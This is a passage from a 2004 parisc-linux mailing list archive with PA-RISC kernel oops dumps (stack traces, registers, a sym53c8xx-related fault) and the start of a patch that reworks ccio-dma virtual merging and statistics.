 0000000046b6c7d8:  00000000104652a0 000000000001a000 0000000040287000 0000000040287000
 0000000046b6c7b8:  000000008f9d9c60 00000000104652a0 0000000000000000 00000000039367e0
 0000000046b6c798:  0000000000000007 0000000000000600 0000000000000000 000000008f2b1838
 0000046b6c778:  ffffffffffffffff 00000000101da9e0 0000000000000802 0000000000000000
 0000000046b6c758:  0000000000000040 0000000000000000 ffffffffffff6fff 0000000040298000
 0000000046b6c738:  00000000402a1000 00000000103e3248 00000000000002d5 0000000000000000
 0000000046b6c718:  000000008f2b1838 0000000000000001 00000000104652a0 000000008f52f400
 0000000046b6c6f8:  0000000000000003 00000000101b2d0c 0000000000000000 0000000078c19280
 0000000046b6c6d8:  000000001300d1e0 000000007f406b05 00000000104652a0 0000000010000000
 0000000046b6c6b8:  00000000104652a0 0000000000000000 00000000104652a0 000000004bb96ac0
 0000000046b6c698:  000000008f2b1838 00000000104652a0 000000008f2b1898 0000000000000001
 0000000046b6c678:  0000000000000003 00000000101ab960 0000000000000000 00000000402778e8
 0000000046b6c658:  000000001300d1e0 0000000000000000 0000000046b6c208 00000000104652a0
 000000006c638:  0000000046b6c488 0000000046b6c498 0000000010525c40 000000008ca8f015
 0000000046b6c618:  00000000faf01a08 00000000104652a0 0000000000000101 0000000000000000
 0000000046b6c5f8:  ffffffffffffffff 000000001019bdfc 0000000000000802 00000000104652a0
 0000000046b6c5d8:  0000000013276000 0000000000000000 0000000000000802 00000000104652a0
 0000000046b6c5b8:  000000008f2b1838 000000008f4eb180 00000000104652a0 0000000003c12cd8
 0000000046b6c598:  000000004044fb35 0000000003c12cd8 000000004044fb35 000000008ca8f000
 0000000046b6c578:  000000008ec17480 000000001019c248 00000000104652a0 0000000000000000
 0000000046b6c558:  00000000104652a0 0000000000000000 0000000046b6c188 00000000104652a0
 0000000046b6c538:  0000000046b6c388 0000000046b6c398 0000000010525d40 000000008ca8f012
 0000000046b6c518:  0000000000000000 00000000104652a0 0000000046b6c188 000000008fa4b180
 0000000046b6c4f8:  000000000002 0000000013279380 0000000046b6c208 00000000104652a0
 0000000046b6c4d8:  00000000104652a0 000000008ca8f000 0000000000033030 0000000000000801
 0000000046b6c4b8:  00000000faf01a08 0000000000000000 0000000000000004 0000000caa4f3659
 0000000046b6c498:  000000008ca8f009 000000008f4eb180 0000000010525c40 0000000000000000
 0000000046b6c478:  ffffffffffffffff 000000001019cf94 000000008ec17480 000000004bb96a40
 0000000046b6c458:  0000000000100077 00000000104652a0 0000000000000000 0000000040298000
 0000000046b6c438:  00000000373fd008 0000000000000000 0000000000000001 0000000000000800
 0000000046b6c418:  00000000104652a0 0000000046b6c208 00000000104652a0 0000000000000800
 0000000046b6c3f8:  000000004012d297 000000001019e07c 0000000046b6c188 00000000104652a0
 0000000046b6c3d8:  00000000104652a0 000000008ca8f000 0000000000000000 0000000000005fa8
 0000000046b6c3b8:  000000000000 000000004001a270 00000000402778e8 0000000d05f08f17
 0000000046b6c398:  000000008ca8f005 000000008fa4b180 0000000010525d40 0000000040015bc8
 0000000046b6c378:  0000000000008e58 000000001019cf94 0000000000000800 00000000104652a0
 0000000046b6c358:  000000008ca8f000 0000000000000000 0000000000000800 0000000000033030
 0000000046b6c338:  000000000000000d 00000000faf01a08 0000000000033030 000000004001e3e4
 0000000046b6c318:  00000000faf01c10 fffffffffffffffe 0000000046b6c188 00000000104652a0
 0000000046b6c2f8:  0000000000000002 000000001018783c 0000000010509df0 0000000000000011
 0000000046b6c2d8:  00000000104652a0 000000000000000a 000000000800000e 0000000000000002
 0000000046b6c2b8:  00000000b0000000 0000000046b6c298 0000000046b6c298 0000000046b6c298
 0000000046b6c298:  0000000000033200 0000000000000000 fffffffffffffff4 000000004001e3e4
 0000000046b6c278:  736f000000000000000001019b354 69622f67636f6e76 0000000000000000
 0000000046b6c258:  00000000104652a0 00000000faf00ef8 0000000040199e54 0000000000000003
 0000000046b6c238:  00000000104652a0 0000080100000000 0000010100000001 00000000faf01cc0
 0000000046b6c218:  ffffffff8ca8f000 0000000010525c40 000000008f4eb280 0000000000000000
 0000000046b6c1f8:  00000000400276e4 0000000010187ec8 0000000000000098 0000000000033200
 0000000046b6c1d8:  00000000400276e4 00000000000331b0 00000000400156ec ffffffffffffffff
 0000000046b6c1b8:  0000000040028d90 00000000400276e4 0000040100000001 00000000faf01cc0
 0000000046b6c198:  00000000400276e4 0000000000000000 00000000400156ec 00000000ffffffff

Kernel addresses on the stack:
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<00000000101ea820>] journal_dirty_metadata+0x218/0x358
 [<000000001018abec>] __find_get_block_slow+0x44/0x238
 [<000000001018c91c>] __find_get_block+0xc4/0x188
 [<000000001018ca14>] __getblk+0x34/0x78
 [<00000000101d9530>] ext3_get_inode_loc+0x78/0x428
 [<00000000101e8cd8>] start_this_handle+0x2d8/0x3d0
 [<00000000101da7c4>] ext3_reserve_inode_write+0x4c/0x130
 [<00000000101e8dfc>] new_handle+0x2c/0x70
 [<00000000101da8d4>] ext3_mark_inode_dirty+0x2c/0x70
 [<00000000101e022c>] ext3_journal_start+0x84/0x90
 [<00000000101da9e0>] ext3_dirty_inode+0xc8/0xd0
 [<00000000101b2d0c>] __mark_inode_dirty+0x4c/0x120
 [<00000000101ab960>] update_atime+0xe8/0x130
 [<000000001019bdfc>] do_lookup+0x3c/0x100
 [<000000001019c248>] link_path_walk+0x388/0xd30
 [<000000001019cf94>] path_lookup+0xdc/0x2e0
 [<000000001019e07c>] open_namei+0x614/0x630
 [<000000001019cf94>] path_lookup+0xdc/0x2e0
 [<000000001018783c>] filp_open+0x54/0x90
 [<000000001019b354>] getname+0x3c/0x130
 [<0000000010187ec8>] sys_open+0x78/0xf0
 [<000000001010ce4c>] syscall_exit+0x0/0x14
 [<000000001010c074>] intr_return+0x0/0x14


Kernel Fault: Code=26 regs=0000000046b6cc80 (Addr=00000000000002b3)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Not tainted
r00-03  0000000000000000 0000000010513108 0000000010160098 0000000000000000
r04-07  00000000104652a0 00000000104652a0 0000000000038022 0000000000000000
r08-11  000000008f2b1838 000000008f2b1838 00000000faf01a08 0000000000038022
r12-15  0000000046b6c788 0000000000000000 00000000001 0000000000000002
r16-19  0000000000000000 00000000faf01710 0000000013275e80 00000000000002ab
r20-23  0000000000000002 00000000000000eb 0000000000000006 000000000000003f
r24-27  0000000000001000 0000000000038022 00000000000002b3 00000000104652a0
r28-31  fffffffffffffffb 0000000046b6cc70 0000000046b6cc80 0000000000000000
sr0-3   0000000000020980 0000000000020980 0000000000000000 0000000000020980
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010232a90 0000000010232a94
 IIR: 0f4010d5    ISR: 0000000000000000  IOR: 00000000000002b3
 CPU:        0   CR30: 0000000046b6c000 CR31: 0000000010434000
 ORIG_R28: 000000008c1301c0
 IAOQ[0]: radix_tree_lookup+0x40/0x80
 IAOQ[1]: radix_tree_lookup+0x44/0x80
 RP(r2): find_get_page+0x18/0x48

-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.



From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: another kernel oops
Date: Wed, 3 Mar 2004 00:36:19 +0100
Lines: 214
Approved: news@gmane.org
Message-ID: <20040302233618.GA27722@wiggy.net>
References: <20040302100622.GL2502@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623236 6262 80.91.229.3 (22 Nov 2014 02:27:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Tue Mar  2 16:36:21 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AF594868
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 16:36:20 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1AyJQx-0007On-2D
	for parisc-linux@lists.parisc-linux.org; Wed, 03 Mar 2004 00:36:19 +0100
Mail-Followup-To: Wichert Akkerman <wichert@wiggy.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040302100622.GL2502@wiggy.net>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 23:36:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20976

A sym53c8xx related oops, just to keep you guys busy :(

Wichert.


Stack Dump:
 000000008ea4bcb8:  000000008ea4bcb8 0000000000000000 0000000000000000 000000008ea4b7c0
 000000008ea4bc98:  0000000000000000 00000000104652a0 000000000000001a 0000000000000000
 000000008ea4bc78:  0000000000000000 000000001010618c 0000000000000000 0000000000000000
 000000008ea4bc58:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4bc38:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000008ea4bc18:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4bbf8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4bbd8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4bbb8:  000000008ea4b000 000000001337e440 000000001337e450 0000000000000000
 000000008ea4bb98:  00000000104652a0 0000000000000000 0000000000000000 0000000000000000
 000000008ea4bb78:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4bb58:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4bb38:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4bb18:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4baf8:  000000008ac53ad8 000000001010c094 0000000000000000 0961000000000000
 000008ea4bad8:  0000000000000000 0000000010517b78 00000000000026f1 0000000000000060
 000000008ea4bab8:  000000008abd8ad8 000000001026e898 0000000000000000 0015000000000000
 000000008ea4ba98:  000000008abd8058 0000000013210dd8 0000000000000000 01bb000000000000
 000000008ea4ba78:  00000000848d88d8 0000000013210280 0000000000000000 0000000000000000
 000000008ea4ba58:  0000000000000000 000000000eb312c0 0000000000000007 0409ffff00000000
 000000008ea4ba38:  000000008a0fa058 0000000013212050 0000000000000000 00000000103f4d38
 000000008ea4ba18:  000000001016aa80 000000001016aa7c 0000000000000000 0000000000000000
 000000008ea4b9f8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4b9d8:  000000000001d580 0000000000000000 000000000001d580 000000000001d580
 000000008ea4b9b8:  0000000000000014 0000000010189778 ffffffffffffffff ffffffffffffffff
 000000ea4b998:  ffffffffffffffff ffffffffffffffff ffffffffffffffff 000007b113274e80
 000000008ea4b978:  000000000000cccc 0000000000000000 0000000010525d40 0000000000000000
 000000008ea4b958:  00000000104e7ec0 000000008fbf3178 00000000104652a0 0000000010525d40
 000000008ea4b938:  ffffffffffffffff 0000000010187a28 0000000000000802 00000000104652a0
 000000008ea4b918:  0000000013275000 0000000000000000 0000000000000802 0000000000000000
 000000008ea4b8f8:  00000000104f8258 000000003ccbf700 0000000000000802 00000000104652a0
 000000008ea4b8d8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4b8b8:  0000000000000000 000000008ea4b7c0 000000008ea4b7b0 0000000000000018
 000000008ea4b898:  00000000104652a0 000000008ea4b760 0000000013283810 0000000000000001
 000000008ea4b878:  0000000000100100 0000000000200200 0000000000000000 0000000012fdc770
 000000008b858:  000000008ea4ac40 00000000103e9d18 0000000000000000 000000008ea4af80
 000000008ea4b838:  000000008ea447a8 0000000000000001 00000000104652a0 0000000000100000
 000000008ea4b818:  0000000000200000 0000000013283810 000000001337e470 0000000000000001
 000000008ea4b7f8:  00000000104652a0 0000000000000000 000000001337e450 000000001337e440
 000000008ea4b7d8:  000000008ea4b000 000000001016b370 00000000103e4048 000000000804050e
 000000008ea4b7b8:  0000000000000000 000000001016aa9c 0000000000000000 0420ffff00000000
 000000008ea4b798:  0000000000000000 0000000010517b78 000000008ea4b6c0 000000008f0d59d8
 000000008ea4b778:  00000000104652a0 0000000000000063 00000000104f8258 00000000104652a0
 000000008ea4b758:  0000000000000000 00000000132b2000 00000009132b272c 00000000104652a0
 000000008ea4b738:  0000000000000000 000000001013780c 000000003c105410 fffffff80010b000
 000000008ea48:  0000f8004100f800 000000001046baa0 0000000000000001 0000000013283800
 000000008ea4b6f8:  0000000013283810 00000000104652a0 00000000104652a0 0000000000200200
 000000008ea4b6d8:  0000000000100100 000000008e93e540 000000001050c430 00000000104652a0
 000000008ea4b6b8:  0000000000000022 000000001016b370 0000000000000080 000000008f1d6cc0
 000000008ea4b698:  000000008f297e20 00000000104652a0 00000000104652a0 000000008f0d59d8
 000000008ea4b678:  0000000000001501 00000000104652a0 0000000000000000 00000000132b2000
 000000008ea4b658:  00000000103e00d0 000000001337e440 000000001337e4f0 000000008ea4b458
 000000008ea4b638:  0000000000000000 000000001016b5fc 0000000000000002 0000000000000000
 000000008ea4b618:  000000001046baa0 00000000103c62d0 00000000103dd058 000000008ea4af80
 000000008ea4b5f8:  00000000132b272c 0000000000000001 0000000000000000 00000000104652a0
 000000008ea4b5d000000008ea4af80 0000000000000001 000000008e93e5f8 0000000000000000
 000000008ea4b5b8:  0000000000000022 0000000010148ce4 0000000000000080 000000008f1d6cc0
 000000008ea4b598:  000000008f297e20 00000000104652a0 00000000103e00d0 00000000104652a0
 000000008ea4b578:  00000000000000d0 000000008ea4b458 000000008ea4b458 0000000000200200
 000000008ea4b558:  0000000000100100 000000008e93e540 000000008f1d6cc0 000000008f297e20
 000000008ea4b538:  0000000000000400 0000000010148eac 0000000000000001 0000000000000022
 000000008ea4b518:  0000000000000000 000000000800000e 00000000104652a0 ffffffffffffef00
 000000008ea4b4f8:  0000000000000000 000000001013ec24 0000000000000000 000000001010c078
 000000008ea4b4d8:  00000000104652a0 00000000104652a0 0000000000000000 000000008ea4af80
 000000008ea4b4b8:  0000000000000000 000000001013f7f0 0000000010509df0 0000000000000001
 000000008ea4b498:  0000104652a0 000000000000000a 000000000800000e 0000000000000001
 000000008ea4b478:  000000008e93e5f8 000000008ea4b458 000000008ea4b458 000000008ea4b458
 000000008ea4b458:  000000008ea4b458 0000000000000001 000000008ea447a8 0000000000000000
 000000008ea4b438:  0000000000000400 0000000010143828 0000000000000002 00000000104652a0
 000000008ea4b418:  00000000104652a0 00000000132b2000 00000000132b272c 00000000104652a0
 000000008ea4b3f8:  000000008dee8598 000000001029829c 000000003c105410 0000000000000000
 000000008ea4b3d8:  0000000000000040 00000000104652a0 0000000000000000 000000008ea4af80
 000000008ea4b3b8:  00000000132b272c 0000000010107390 00000000104f8258 00000000132b2000
 000000008ea4b398:  00000000132b2000 00000000132b2000 00000000f8004128 00000000104652a0
 000000008ea4b378:  0000000000000022 000000001029e0b0 0000000000000080 0800000000000000
 000000008ea4b358:  000000000000 8000000000000000 00000000104652a0 000000008ea4af80
 000000008ea4b338:  0000000000001474 00000000101074ac 0000000000000000 00000000132b2000
 000000008ea4b318:  0000000000000020 000000000800000e 00000000104652a0 0000000000000002
 000000008ea4b2f8:  000000008c0bd058 000000001029f9a8 000000001037a228 0000000000000000
 000000008ea4b2d8:  00000000104652a0 000000008e93e5f8 000000008f1d6cc0 0000000000000000
 000000008ea4b2b8:  00000000132b272c 000000001010c074 0000000000000000 00000000104652a0
 000000008ea4b298:  000000008ea4ac40 0000000000000001 000000008e93e5f8 0000000000000000
 000000008ea4b278:  0000000000000022 0000000010148ce4 0000000000000080 000000008f1d6cc0
 000000008ea4b258:  000000008f297e20 00000000104652a0 0000000000009408 0000000000009408
 000000008ea4b238:  00000000132b2000 00000000104652a0 000000000800000e 000000000000000c
 000000008ea4b218:  00000000ac40 00000000226fc206 000000000000003f 000000008e93e540
 000000008ea4b1f8:  0000000000000400 000000001029902c 0000000000000001 0000000000000022
 000000008ea4b1d8:  000000001010c07c 000000001010c078 0000000000000000 0000000000000000
 000000008ea4b1b8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4b198:  000000000001d580 0000000000000000 000000000001d580 000000000001d580
 000000008ea4b178:  0000000000000014 0000000010189778 ffffffffffffffff ffffffffffffffff
 000000008ea4b158:  ffffffffffffffff ffffffffffffffff ffffffffffffffff 000007b113274e80
 000000008ea4b138:  0000000000000000 0000000000000000 0000000010525d40 0000000000000000
 000000008ea4b118:  00000000104e7ec0 000000008fbf3178 00000000104652a0 0000000010525d40
 000000008ea4b0f8:  ffffffffffffffff 0000000010187a28 0000000000000802 00000000104652a0
 000000008ea4b0d8:  000000001327 0000000000000000 0000000000000802 0000000000000000
 000000008ea4b0b8:  00000000104f8258 000000003ccbf700 0000000000000802 00000000104652a0
 000000008ea4b098:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4b078:  00000000104702a0 000000008ea4af80 000000008ea4aff0 0000000000000001
 000000008ea4b058:  00000000104652a0 00000000000000f0 0000000000000045 000000008ea4ac40
 000000008ea4b038:  0000000000000000 000000001046a2a0 fe00000000000000 00000000103b7a00
 000000008ea4b018:  fe00000000000000 00000000103e9d18 0000000000000000 000000008ea4ac40
 000000008ea4aff8:  000000008ea447a8 0000000000000001 00000000104652a0 000000008f297e20
 000000008ea4afd8:  000000008f1d6cc0 000000008e93e540 000000008e93e5f8 0000000000000000
 000000008ea4afb8:  000000008f1d6cc0 000000008e93e5f8 00000000104652a0 0000000000000000
 000000008ea4af98:  000000001037a228000001010c074 0000000010469aa0 0000003f0804ff0f
 000000008ea4af78:  00000000132b272c 000000001010c074 0000000000000000 00000000104652a0
 000000008ea4af58:  000000008ea4a900 0000000013300000 00000000104652a0 000000000800000f
 000000008ea4af38:  0000000000000022 00000000102990e4 0000000000000080 000000008f1d6cc0
 000000008ea4af18:  000000008f297e20 00000000104652a0 0000000000009380 0000000000009380
 000000008ea4aef8:  00000000132b2000 00000000104652a0 000000000800000e 000000000000000c
 000000008ea4aed8:  000000008ea4a900 00000000226fc206 000000000000003f 000000008e93e540
 000000008ea4aeb8:  0000000000000400 000000001029902c 0000000000000001 0000000000000022
 000000008ea4ae98:  000000001010c07c 000000001010c078 0000000000000000 0000000000000000
 000000008ea4ae78:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4ae58:  000000000001d580 000000000000 000000000001d580 000000000001d580
 000000008ea4ae38:  0000000000000014 0000000010189778 ffffffffffffffff ffffffffffffffff
 000000008ea4ae18:  ffffffffffffffff ffffffffffffffff ffffffffffffffff 000007b113274e80
 000000008ea4adf8:  0000000000000000 0000000000000000 0000000010525d40 0000000000000000
 000000008ea4add8:  00000000104e7ec0 000000008fbf3178 00000000104652a0 0000000010525d40
 000000008ea4adb8:  ffffffffffffffff 0000000010187a28 0000000000000802 00000000104652a0
 000000008ea4ad98:  0000000013275000 0000000000000000 0000000000000802 0000000000000000
 000000008ea4ad78:  00000000104f8258 000000003ccbf700 0000000000000802 00000000104652a0
 000000008ea4ad58:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008ea4ad38:  00000000104702a0 000000008ea4ac40 000000008ea4acb0 0000000000000001
 000000008ea4ad18:  00000000104652a0 0000000000f0 0000000000000045 000000008ea4a900
 000000008ea4acf8:  0000000000000000 000000001046a2a0 fe00000000000000 00000000103b7a00
 000000008ea4acd8:  fe00000000000000 00000000103e9d18 0000000000000000 000000008ea4a900

Kernel addresses on the stack:
 [<00000000101055f0>] show_stack+0x110/0x160
 [<0000000010105dd4>] parisc_terminate+0x7c/0x100
 [<000000001010618c>] handle_interruption+0x334/0x748
 [<000000001010c094>] intr_check_sig+0x0/0xc
 [<000000001013ec24>] release_console_sem+0x9c/0x1c8
 [<000000001029829c>] sym_xpt_async_bus_reset+0x34/0xc0
 [<000000001029e0b0>] sym_start_up+0x618/0x850
 [<000000001029f9a8>] sym_interrupt+0x230/0x428
 [<0000000010148ce4>] update_process_times+0x64/0x80
 [<000000001029902c>] sym53c8xx_intr+0x5c/0xf0
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<000000001010c074>] intr_return+0x0/0x14
 [<00000000102990e4>] sym53c8xx_timer+0x24/0x80
 [<000000001029902c>] sym53c8xx_intr+0x5c/0xf0
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<000000001010c074>] intr_return+0x0/0x14
 [<0000000010148ce4>] update_process_times+0x64/0x80
 [<000000001029902c>] sym53c8xx_intr+0x5c/0xf0
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<000000001010c074>] intr_return+0x0/0x14
 [<00000000102990e4>] sym53c8xx_timer+0x24/0x80
 [<000000001029902c>] sym53c8xx_intr+0x5c/0xf0
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<000000001010c074>] intr_return+0x0/0x14
 [<0000000010148ce4>] update_process_times+0x64/0x80
 [<000000001029902c>] sym53c8xx_intr+0x5c/0xf0
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<000000001010c074>] intr_return+0x0/0x14
 [<00000000102990e4>] sym53c8xx_timer+0x24/0x80
 [<000000001029902c>] sym53c8xx_intr+0x5c/0xf0
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<000000001010c074>] intr_return+0x0/0x14
 [<0000000010148ce4>] update_process_times+0x64/0x80
 [<000000001029902c>] sym53c8xx_intr+0x5c/0xf0
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<000000001010c074>] intr_return+0x0/0x14
 [<00000000102990e4>] sym53c8xx_timer+0x24/0x80
 [<000000001029902c>] sym53c8xx_intr+0x5c/0xf0
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<0000000010187a28>] dentry_open+0x1b0/0x2c0
 [<000000001010c074>] intr_return+0x0/0x14


Kernel Fault: Code=26 regs=000000008ea4b7c0 (Addr=0000000000000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000010100001110 Not tainted
r00-03  0000000000000000 00000000103e4048 000000001016b370 000000008ea4b000
r04-07  000000001337e440 000000001337e450 0000000000000000 00000000104652a0
r08-11  0000000000000001 000000001337e470 0000000013283810 0000000000200000
r12-15  0000000000100000 00000000104652a0 0000000000000001 000000008ea447a8
r16-19  000000008ea4af80 0000000000000000 00000000103e9d18 000000008ea4ac40
r20-23  0000000012fdc770 0000000000000000 0000000000200200 0000000000100100
r24-27  0000000000000001 0000000013283810 000000008ea4b760 00000000104652a0
r28-31  0000000000000018 000000008ea4b7b0 000000008ea4b7c0 0000000000000000
sr0-3   000000000001d580 000000000001d580 0000000000000000 000000000001d580
sr4-7   0000000000000000 00000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001016aa7c 000000001016aa80
 IIR: 0eb312c0    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        8   CR30: 000000008ea44000 CR31: 0000000010434000
 ORIG_R28: 0000000013212050
 IAOQ[0]: free_block+0xa4/0x198
 IAOQ[1]: free_block+0xa8/0x198
 RP(r2): drain_array+0xa8/0xd8

-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.



From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] experimental patch to Fix CCIO virtual merging
Date: 03 Mar 2004 00:36:09 -0600
Lines: 550
Approved: news@gmane.org
Message-ID: <1078295770.1889.164.camel@mulgrave>
References: <1078253092.1804.58.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623236 6268 80.91.229.3 (22 Nov 2014 02:27:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:16 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: James.Bottomley@SteelEye.com  Tue Mar  2 23:36:15 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id E80C94857
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 23:36:14 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i236aQa04396; Wed, 3 Mar 2004 01:36:26 -0500
In-Reply-To: <1078253092.1804.58.camel@mulgrave>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 03 Mar 2004 06:36:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20977

On Tue, 2004-03-02 at 12:44, James Bottomley wrote:
> The algorithm the ccio currently uses to do virtual merging is rather
> non-optimal.  The attached patch fixes it to merge virtually whenever
> the adjacent I/O pieces begin and end on a page boundary, which produces
> much better merging.

This is cut two.  It actually seems to survive the BK test and build
it's own kernel, so it may be slightly safer than the bug ridden
previous version.

It also contains Grant's fix for the ccio resource management (and some
stats cleanups).

James

===== drivers/parisc/ccio-dma.c 1.15 vs edited =====
--- 1.15/drivers/parisc/ccio-dma.c	Tue Feb  3 23:42:34 2004
+++ edited/drivers/parisc/ccio-dma.c	Tue Mar  2 22:04:23 2004
@@ -41,6 +41,7 @@
 #define PCI_DEBUG
 #include <linux/pci.h>
 #undef PCI_DEBUG
+#include <linux/reboot.h>
 
 #include <asm/byteorder.h>
 #include <asm/cache.h>		/* for L1_CACHE_BYTES */
@@ -63,6 +64,18 @@
 #undef DEBUG_CCIO_INIT
 #undef DEBUG_CCIO_RUN_SG
 
+#ifdef CONFIG_PROC_FS
+/*
+ * CCIO_SEARCH_TIME can help measure how fast the bitmap search is.
+ * impacts performance though - ditch it if you don't use it.
+ */
+#define CCIO_SEARCH_TIME
+#undef CCIO_MAP_STATS
+#else
+#undef CCIO_SEARCH_TIME
+#undef CCIO_MAP_STATS
+#endif
+
 #include <linux/proc_fs.h>
 #include <asm/runway.h>		/* for proc_runway_root */
 
@@ -219,15 +232,18 @@
 	struct ioa_registers *ioc_hpa;  /* I/O MMU base address */
 	u8  *res_map;	                /* resource map, bit == pdir entry */
 	u64 *pdir_base;	                /* physical base address */
+	u32 pdir_size; 			/* bytes, function of IOV Space size */
 	u32 res_hint;	                /* next available IOVP - 
 					   circular search */
 	u32 res_size;		    	/* size of resource map in bytes */
 	spinlock_t res_lock;
 
-#ifdef CONFIG_PROC_FS
+#ifdef CCIO_SEARCH_TIME
 #define CCIO_SEARCH_SAMPLE 0x100
 	unsigned long avg_search[CCIO_SEARCH_SAMPLE];
 	unsigned long avg_idx;		  /* current index into avg_search */
+#endif
+#ifdef CCIO_MAP_STATS
 	unsigned long used_pages;
 	unsigned long msingle_calls;
 	unsigned long msingle_pages;
